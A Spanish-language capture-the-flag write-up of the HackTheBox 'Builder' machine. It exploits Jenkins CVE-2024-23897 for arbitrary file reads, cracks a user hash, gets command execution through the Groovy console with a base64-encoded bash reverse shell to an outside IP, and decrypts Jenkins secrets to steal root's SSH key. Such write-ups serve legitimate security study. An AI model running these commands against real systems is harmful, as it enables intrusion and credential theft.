HackTheBox - Builder


Creado
HackTheBox - Builder

Entorno Linux nivel medio. Lecturas de archivos sin permiso, robo de credenciales, comandos remotamente con mucho groove y escucha de secretos.

💥 Laboratorio creado por: polarbearer & amra13579.

TL;DR (Spanish writeup)

Cuidado con la automatizadera…

Enfrentaremos una instancia de Jenkins 2.441, con ayuda de la web llegaremos a vulnerabilidades, entre ellas a un Directory Traversal, leeremos algunos archivos y así llegaremos a credenciales válidas contra el sitio web.

Ya adentro, aprovecharemos una característica que tiene Jenkins para ejecutar código de programación Groovy, usando sus funciones podremos enviar comandos remotamente al sistema y obtener una shell como el usuario jenkins.

Finalmente, nos guiaremos por lo encontrado en la fase inicial de explotación para seguir un ataque que dejamos en pausa. Con él obtenemos “secretos” alojados en Jenkins y los desencriptamos, logrando así ver el contenido original y en crudo. Siguiendo este camino, robaremos un secreto con la llave SSH de root y obtendremos una shell como ese usuario.

Clasificación de la máquina según la gentesita

Bien bien, bien real y con algo de enumeración (;

La idea inicial de esta locura es tener mis “notas” por si algun día se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) 😄 La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo la oportunidad de ayudarlos ¿por qué no hacerlo?

Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva más de enseñanza que de solo pasos a seguir. Sin menos, muchas gracias <3

Energy, flame, intern.

  1. Reconocimiento
  2. Enumeración
  3. Explotación
  4. Escalada de privilegios.
  5. Post-Explotación.

Reconocimiento #

Como siempre, empezamos investigando que servicios (puertos) tiene expuestos el entorno al que nos enfrentamos, para ello podemos apoyarnos de la herramienta nmap:

nmap -p- --open -v 10.10.11.10 -oA TCP_initScan_Builder
Parámetro Descripción
-p- Escanea todos los 65535 puertos
–open Devuelve solo los puertos que estén abiertos
-v Permite ver en consola lo que va encontrando
-oA Guarda el output en diferentes formatos, entre ellos uno “grepeable”. Lo usaremos junto a la función extractPorts de S4vitar para copiar los puertos en la clipboard rápidamente

El escaneo descubre:

Puerto Descripción
22 SSH: Servicio que permite la obtención de una terminal de forma segura
8080 HTTP Proxy: Servicio para interactuar con un servidor web, pero en este caso usando un proxy

Usando la función extractPorts (referenciada antes) podemos tener rápidamente los puertos en la clipboard, en este caso no es necesario (ya que tenemos pocos puertos), pero si tuviéramos varios puertos evitamos tener que escribirlos uno a uno:

extractPorts TCP_initScan_Builder.gnmap

Ya con los puertos copiados, nos seguimos apoyando de nmap para descubrir versiones del software usado en cada servicio y también ejecutar scripts propios de la herramienta y ver si obtenemos más cositas:

nmap -sCV -p 22,8080 10.10.11.10 -oA TCP_portScan_Builder
Parámetro Descripción
-p Indicamos a qué puertos queremos realizar el escaneo
-sC Ejecuta scripts predefinidos contra cada servicio
-sV Intenta extraer la versión del servicio

Obtenemos:

Puerto Servicio Versión
22 SSH OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
8080 HTTP Jetty 10.0.18

Además, el servicio web tiene como título: Dashboard [Jenkins], con lo cual sabemos que nos enfrentaremos a un Jenkins, el cual es un servicio para automatizar tareas relacionadas con proyectos, así que exploremos.

Enumeración #


Recorriendo Jenkins 📌

Visitando el sitio web, encontramos:

Abriendo bien los ojos, nos fijamos en que se está filtrando la versión del software: Jenkins 2.441, esto nos sirve para buscar posibles vulnerabilidades contra esa versión de Jenkins.

Dándole más vueltas al sitio encontramos posibles nombres de usuario:

Los guardamos por si algo.

Explotación #

Apoyados en la idea de buscar información sobre la versión 2.441 de Jenkins, encontramos sabrosura:

Jua, candelaaaaaaaaaaaaa oís…

La vulnerabilidad CVE-2024-23897 indica que mediante la herramienta CLI (command line interface, o sea, la de usar en consola) se puede leer archivos arbitrarios del sistema 😳

Esto debido a que la herramienta implementa el uso de la librería args4j, la cual mediante la característica expandAtFiles puede usar el carácter @ seguido de un nombre de archivo, para mostrar el contenido de ese archivo 😲

Lo preocupante es que es una característica que está activada por default en la herramienta, veamos si podemos aprovecharnos de ella.

🚀 Trend Micro hizo una excelente guia para entender tooda esta vuln, te la recomiendo.

Jenkins y los archivos 📌

Después de obtener la herramienta CLI y siguiendo el lindo artículo de Trent Micro podemos intentar leer el archivo /etc/passwd (contenedor de información de usuarios en el sistema) usando @/etc/passwd e invocar un comando propio de la herramienta, logrando así usar el output para ver el contenido del archivo.

Entre todos los comandos posibles, solo algunos devuelven un output grande (help, connect-node, reload-job, entre otros), debemos usar alguno de esos para leer el archivo completo, intentemos con connect-node:

java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080/' connect-node @/etc/passwd

EEEEJELE, lo tenemos! Estamos leyendo archivos del sistema, pero tenemos muuucho ruido (información repetida y errores que no nos interesan), jugando con los demás comandos de la herramienta y con un script de bash, obtenemos el output deseado:

#!/bin/bash

# Obtenemos nombre de archivo como primer parametro y leemos su contenido
output=$(java -jar jenkins-cli.jar -s 'http://10.10.11.10:8080/' "reload-job" @"$1" 2>&1)

# Removemos ruido e imprimimos resultado
result=$(echo "$output" | sed "s/^.*No such item ‘\(.*\)’ exists.*$/\1/")
echo "$result"

Bien, dediquémonos a leer, a ver que aprendemos (:

Jenkins y los archivos peligrosos 📌

Revisando objetos comunes no llegamos a ningún lado, investigando la información de la vuln y que tanto se puede hacer con ella, se informa que mediante ella se pueden llegar a descubrir secretos 🤫 (como credenciales, tokens, llaves, nombres de usuarios) leyendo algunos archivos y desencriptando otros. Y sí, logramos leer algunos, pero otros necesarios no:

Este output está corrompido, ya que el comando devuelve solo texto y el objeto buscado es un binario (con información no legible), por lo que si lo usamos no va a servir…

Interesante archivo, ya que se esta usando un plugin para usar credenciales SSH y una llave privada (que parece encriptada). Guiandonos de ejemplos en la web, sabemos que el output esta desordenado, pero apoyados de esos ejemplos podemos arreglarlo y guardarlo por si algo.

Pero no logramos seguir esta ruta 💔

Jenkins y los archivos escondidos 📌

Buscando y buscando me llegó una idea para saber que más archivos leer. Podríamos usar Docker para jugar con una instancia de Jenkins y ver toooda la estructura de archivos que usa. Así evitamos estar adivinando y somos conscientes de que buscar.

Instalamos Docker y buscamos en Docker Hub (repositorio de imágenes para jugar) la última versión disponible y estable. Con eso, ejecutamos un contenedor llamado jenkins_demo localmente sobre el puerto 8080:

docker run -d -p8080:8080 --name jenkins_demo jenkins/jenkins:lts-jdk17

Revisamos que todo esté ejecutándose correctamente:

docker logs jenkins_demo

Y finalmente nos adentramos en el contenedor para ver la estructura de archivos de nuestra instancia:

docker exec -it jenkins_demo /bin/bash

ℹ️ Estamos ejecutando sobre el contenedor jenkins_demo una terminal bash, esto para movernos comodamente entre los objetos

Solo una carpeta destaca, users:

Ojito, dentro de /var/jenkins_home/users/ hay un archivo llamado users.xml y en él nombra un usuario y hace referencia a otro objeto con el nombre de usuario concatenado a unos números, ese objeto es una carpeta y si revisamos su contenido encontramos a config.xml, el cuaaaaaal:

¡Una de las etiquetas del objeto XML es passwordHash y efectivamente contiene un hash!!

🔥 Hagamos este mismo recorrido, pero contra el entorno vulnerable.

AÑAÑAAAI, recordamos a jennifer y además, extraemos la carpeta jennifer_12108429903186576833, si intentamos leer el contenido del objeto config.xml:

./arbitrary_file_read_jenkins.sh /var/jenkins_home/users/jennifer_12108429903186576833/config.xml

El resultado es gigante 👓

Efectivamente, tenemos un haaaaaaash, veamos si la contraseña almacenada es débil y logramos el match 💞

El tipo de algoritmo usado (con ayuda de hashid y haiti) parece ser bcrypt, con lo cual, guardamos el hash en un archivo y ejecutamos (en mi caso con john):

OJITO, la tenemos (:

Usando esas credenciales contra el sitio web de Jenkins (http://10.10.11.10:8080/login), se nos genera una sesión 😱:

Tamo a den tro.

Jenkins y un secretico

Validando algunas rutas, encontramos que la llave privada que vimos antes en el archivo credentials.xml está realmente relacionada con el usuario root del sistema :O

Por lo que cuidao, cuidadito…

Jenkins y los scripts 📌

Investigando aún más sobre Jenkins y que podemos hacer dentro, encontramos este recurso con el cual se puede intentar ejecutar comandos remotamente usando una consola de código Groovy:

Si intentamos ejecutar el comando id en la víctima Linux:

¡Tenemos la ejecución de comandos!! Generemos una reverse shell.

Primero creemos nuestro payload (en él le indicaremos que haga una petición contra nuestra IP y nuestro PUERTO, cuando se genere esa conexión, que envié una BASH) en formato base64 y colocamos en escucha el puerto usado en el payload:

➧ echo -n "bash -c 'bash -i >& /dev/tcp/10.10.14.79/4450 0>&1'" | base64   
YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43OS80NDUwIDA+JjEn
➧ nc -lvp 4450

Ahora, dando el formato correcto al código de Groovy, quedaría así:

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43OS80NDUwIDA+JjEn}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)

Ejecutamooooos Y:

A ña ño ñi (:

Escalada de privilegios #

Dando algunas vueltas por los objetos y comandos, recordamos algo con lo que lidiamos y que nos pareció poderoso, ¿recuerdas que fue?

Habíamos intentado una explotación para descubrir los secretos alojados por Jenkins (que encontramos una llave SSH privada como credencial), peeeero uno de los archivos necesarios para el jugueteo era un binario y como el método de explotación usado (Directory Traversal) nos devolvía únicamente texto, el contenido del binario se corrompía.

PEEERO, como ya estamos dentro del sistema y tenemos acceso al alojamiento de esos archivos, podríamos intentar moverlos a nuestra máquina de atacante sin peligro de corromperlos y reintentar el descubrimiento :O

🎟️ credentials.xml:

base64 -w 0 /var/jenkins_home/credentials.xml
echo <BASE64 STRING> | base64 -d > credentials.xml

🗝️ master.key:

base64 -w 0 /var/jenkins_home/secrets/master.key
echo <BASE64 STRING> | base64 -d > master.key

🤐 hudson.util.Secret:

base64 -w 0 /var/jenkins_home/secrets/hudson.util.Secret
echo <BASE64 STRING> | base64 -d > hudson.util.Secret

Ya con los archivos, validamos integridad usando md5sum <archivo> en el origen y el destino, si son iguales los resultados, tamos finos.

Con la ayuda de este script (yo usé este, pero hay varios) para desencriptar el contenido del secreto:

Ejecutamos la instrucción tal que:

python3 jenkins_offline_decrypt.py secrets/master.key secrets/hudson.util.Secret secrets/credentials.xml

Y obtenemooooos:

EEEEEEEE, tomamos ese contenido, lo guardamos en un archivo, le damos los permisos necesarios para que solo pueda interactuar el owner del archivo y usamos la llave contra SSH:

chmod 600 root.id_rsa
ssh root@10.10.11.10 -i root.id_rsa

Y hemos terminau (:

Investigando, nos topamos que se puede usar también la interfaz de Jenkins y la consola de Groovy para desencriptar secretos :O

Post-Explotación #

Cositas hechas después de haber conquistau el entorno.

Desencriptando secretos usando la GUI de Jenkins 📌

En la búsqueda de recursos para desencriptar secretos, también encontré que la propia interfaz de Jenkins y la consola de Groovy nos pueden ayudar.

Esto usando la función hudson.util.Secret.decrypt():

Y lo único que debemos hacer es ejecutar:

println(hudson.util.Secret.fromString("{ACÁ_VA_EL_🤫}").getPlainText())

O sea, en nuestro caso debemos colocar la cadena que hace referencia a la llave privada SSH. Si lo probamos, efectivamente obtenemos la credencial en texto plano:

Flags 📌

Y listones, una máquina muy didáctica y de la cual aprendimos muuucho, me gustó, me gustó.

Lindo todo el camino que tomo el jugar inicialmente con un descubrimiento de archivos, que casi nos deriva a escuchar secretos, pero no, nos que nos desvió, pensábamos que no volveríamos y pumm, ese fue el plato fuerte, top top.

Muchas gracias por leer, espero te haya gustado y hayas repasado o aprendido cositas.

Abrazos y a seguir rompiendo de todoooooooo!

Lanz

Lanz

Holap, simplemente quiero compartir contigo mis notas y que quizás, las tomes como apoyo. Este mundo es un camino raro, complicado a veces, pero divertido, diviertete (: (y entiende que estas haciendo :P)

Comments

comments powered by Disqus